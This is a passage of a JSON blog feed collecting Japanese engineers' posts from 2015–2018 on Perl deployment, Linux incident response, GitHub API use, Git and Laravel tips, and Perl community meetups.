Rmarkdown","link":"https://blog.atusy.net/2018/07/05/github-pages-with-rmarkdown/","contentSnippet":"遅蒔きながら、Rのblogdownパッケージを使ってblogを始めてみた。“Rとblogdownでかんたんにgithub.io上にブログを使ってみよう!!”を参考にしたのだが、何点かハマったところがあったのでメモ。baseurl = \\"/\\"トップページが404の時はもう一度pushしてみる記事の規定拡張子はoptionで指定option(blogdown.ext = \'.Rmd\')参考URLにある option(blogdown.Rmd = TRUE) は過去のもの?","isoDate":"2018-07-05T00:00:00.000Z","dateMiliSeconds":1530748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Laravel] バリデーションデータに前処理したい","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う.例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1:サブディレクト…","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"障碍対応と私","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm#7に参加しました。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-12-12-chiba.pm7","link":"https://speakerdeck.com/masasuzu/2015-12-12-chiba-dot-pm7","contentSnippet":"Chiba.pm#7 2015年をふりかえる","isoDate":"2015-12-12T05:00:00.000Z","dateMiliSeconds":1449896400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス(学習事項)・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-09-17_gotanda.pm6","link":"https://speakerdeck.com/masasuzu/2015-09-17-gotanda-dot-pm6","contentSnippet":"Gotanda.pm#6 LT\\r監視の7原則という半分ネタなトーク","isoDate":"2015-09-17T04:00:00.000Z","dateMiliSeconds":1442462400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6! pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした!! pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-07-10-kichijoji.pm4_yurui_template","link":"https://speakerdeck.com/masasuzu/2015-07-10-kichijoji-dot-pm4-yurui-template","contentSnippet":"テンプレートとPerlに関するゆるい話\\r\\r吉祥寺.pm #4","isoDate":"2015-07-10T04:00:00.000Z","dateMiliSeconds":1436500800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第二 四半期をふりかえる","link":"https://blog.masasuzu.net/entry/2015/07/03/2015_2_retrospective","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + Kibana4Kibana4入れました。Kibana3もまだ稼働中ですが、Kibana4で十分かなという気分です。Kibana4はすごい便利なので、そのあたりの話もどこかで一度したいです。開発環境の改善OrePAN2::Serverを廃止して、社内モジュールは静的サーバ置いたり、一つサーバでマルチユーザが同居するようなレガシーな開発環境の改善とかもろもろやってました。この辺もあとでエントリ書きたいところ。新卒技術者のメンタリング新卒技術者に対して仕事外で困ってる事とかのお悩みの相談乗ったり、成長を促すお手伝いをしたいたりします。会社としてもメンター制度できたばっかりで、組織的にも自分的にもいろいろ手探り感があるのは確かです。自分が見ている人はかなり優秀で日々成長が見て取れるので、そこをさらに促せるようにしていけたらと思います。書いた記事こう見るとあまりエントリ残してないですね。もう少し書きたいところ。4月勉強会#kichijojipm 吉祥寺.pm #3 に参加してきました。 - 目の前に僕らの道がある技術ubuntu12.04でruby2.2.1のビルド失敗するのはlibffi-devが入ってないから - ふり返る暇なんて無いね$PATHを見やすく表示したい - ふり返る暇なんて無いね5月技術ポートが空いてるか調べたいとき - ふり返る暇なんて無いねサーバ起動時に/etc/init.d/ に設定があるデーモンを自動起動したい - ふり返る暇なんて無いねElasticsearchを1.4以上に上げたらkibana3がElasticsearchにConnection Failedする際の対処 - ふり返る暇なんて無いねポエム縮退運用という考え方 - ふり返る暇なんて無いねあなたは嫌いですか。でも僕は好きです。 - ふり返る暇なんて無いね6月勉強会#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました - 目の前に僕らの道がある技術MySQLのLINEAR KEY パーティションでPKで検索しても遅い場合 - ふり返る暇なんて無いねPerlモジュールのバージョン比較したい - ふり返る暇なんて無いねポエム普段の行動がものをいう - ふり返る暇なんて無いね判断と判断の変更 - ふり返る暇なんて無いね感覚値はあくまで感覚値 - ふり返る暇なんて無いね次の四半期お仕事的にはもう一個の事業部のPSGI/Plack化と開発環境の改善をメインにやってくと思います。ここ最近ちょっといろいろ腹に貯めすぎなので、もう少し心にゆとりをもっていけたらなとは思いまする。","isoDate":"2015-07-03T00:00:00.000Z","dateMiliSeconds":1435881600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"他社の障害対応きにならNight! に行ってきた","link":"https://blog.masasuzu.net/entry/2015/07/02/134402","contentSnippet":"エンジニア交流会〜他社の障害対応きにならNight!〜 on Zusaarwww.zusaar.com一昨日の話ですが、Gaiaxさんに行ってきました。内容に関してはけっこうグレーな感じなこともあるので、話せないのですが、あー、あるよねー。とか だいぶつらい。。。って話を聞けて楽しかったです。他山の石にしたいです。インシデント管理に関してはちょっと痛いところがあるので見直したいなと思いました。懇親会で深い話が聞けていろいろ学びがありました。すごい楽しかったので次回もあれば参加したいです。寿司 pic.twitter.com/RnLrH5mxlp— masasuzu? (@masasuz) June 30, 2015内容言えないけどすごい為になってる— masasuzu? (@masasuz) June 30, 2015だいぶつらい話聞いてるもの— masasuzu? (@masasuz) June 30, 2015炎上案件だ。。。— masasuzu? (@masasuz) June 30, 2015インシデント管理に関してはちょっと痛いところあるなと思った。— masasuzu? (@masasuz) June 30, 2015なかなかこういう他社の障害事例聞けないので、今日は楽しかった。— masasuzu? (@masasuz) June 30, 2015innodbのデータ圧縮すると並列性が犠牲になるってのは、初耳だったのでちゃんと調べたい。— masasuzu? (@masasuz) June 30, 2015","isoDate":"2015-07-02T04:44:02.000Z","dateMiliSeconds":1435812242000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました","link":"https://blog.masasuzu.net/entry/2015/06/25/184549","contentSnippet":"Gotanda.pm Perl Technology Conference #5 (2015/06/24 19:30〜)gotanda-pm.connpass.comGtanda.pmでLTしてきました。#gotandapm LTの高速化に失敗しました。— masasuzu? (@masasuz) June 24, 2015内容としてはPlack Applicationのアクセスログの話です。アクセスログそのものの話アクセスログの収集の話アクセスログの可視化/集計の話1個目の論点しか話せませんでした。猛省します。次回は事故らずに話したいです。最近Kibana4とElasticsearchを使っていてだいぶアクセスログに限らず ログ解析が捗っているので、その辺も別の機会に話せたらと思います。他の人の発表では、skajiさんの Acme::CPAN::Installerの発表がすごかったです。cpanモジュールをインストール出来るとこんなに速くなるのかと感心しました。業務で使いたいと思うくらいには速かったです。そのほかの人の発表も楽しく聞かせてもらいました。gotandapm参加者の皆さん!吉祥寺.pm4は、まだまだ参加者募集中です!https://t.co/JwGFxDOnXi#kichijojipm #gotandapm— magnoliak (@magnolia_k_) June 24, 2015どうやら吉祥寺.pm 来月開催らしいですよ。","isoDate":"2015-06-25T09:45:49.000Z","dateMiliSeconds":1435225549000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-06-25_gotanda.pm5","link":"https://speakerdeck.com/masasuzu/2015-06-25-gotanda-dot-pm5","contentSnippet":"Plackのアクセスログの話","isoDate":"2015-06-24T04:00:00.000Z","dateMiliSeconds":1435118400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pm #3 に参加してきました。","link":"https://blog.masasuzu.net/entry/2015/04/19/kichijoji.pm-3","contentSnippet":"吉祥寺.pm行ってきました。吉祥寺.pm (kichijojipm) #3 : ATNDatnd.org今回はツールチェインがテーマと言うことで、Minillaの話題が2件ほどあって、参考になりました。今回特によかったなと思ったのがpapixさんの新人研修の話でした。ガイアックスさんはここ二年くらいで新人研修を整備し始めたそうで、だいぶ充実した内容をやっていそうなので、こっそり参加したいです。#kichijojipm ガイアックスに新人研修受けに行きたい— masasuzu? (@masasuz) April 17, 2015話の中で研修資料をスライドじゃ無くてドキュメントとして残すってのが、印象に残ってます。OJTが基本なのですが、開発グループのエンジニアの有志が社内勉強会枠の時間*1で新人さんに最低限知っておいて欲しい技術基礎の勉強会を行っています。wikiに残しておいて、次年度使い回せるように + 中途の人が入ってきたときも一通り見れば分かるようにしてます。その辺、アプローチが似ているなと思います。さておき、今回も楽しかったです、上級者向けの話からperl少し書ける人でも役に立つ話まで聞けてレベル感的にも良い感じです。主催のmagnoliakさん、htk291さんありがとうございました。次回の吉祥寺.pm楽しみにしてます。吉祥寺.pm in 五反田楽しみにしてます!!!五反田で吉祥寺.pmとか。— 吉祥寺.pm (@kichijojipm) April 17, 2015参照吉祥寺.pm3終わりました - kichijojipm’s blogkichijojipm.hatenablog.com余談SSID: TMNetwork がいてふいた— masasuzu? (@masasuz) April 17, 2015*1:弊社、毎日終業定時前の1時間は勉強会の時間と会議室が確保されていて、好きにやって良いことになってる。もちろん毎日は開かれない","isoDate":"2015-04-19T06:59:42.000Z","dateMiliSeconds":1429426782000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第一四半期をふりかえる","link":"https://blog.masasuzu.net/entry/2015/03/30/2015_1_retrospective","contentSnippet":"そろそろ3月も終わりそうなので、軽くまとめてみる。お仕事Slack連携ツール昨年末から1月にかけては、社内のチャットツールをIRCからSlackに移すためにもろもろの連携ツールを書いていました。WevService::Slack::IncomingWebHookはそういう事情で書いたコードです。WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるmasasuzu.hatenablog.jp連携ツール自体は、Irisというプロジェクトコードで、HTTPでSlackへIncoming 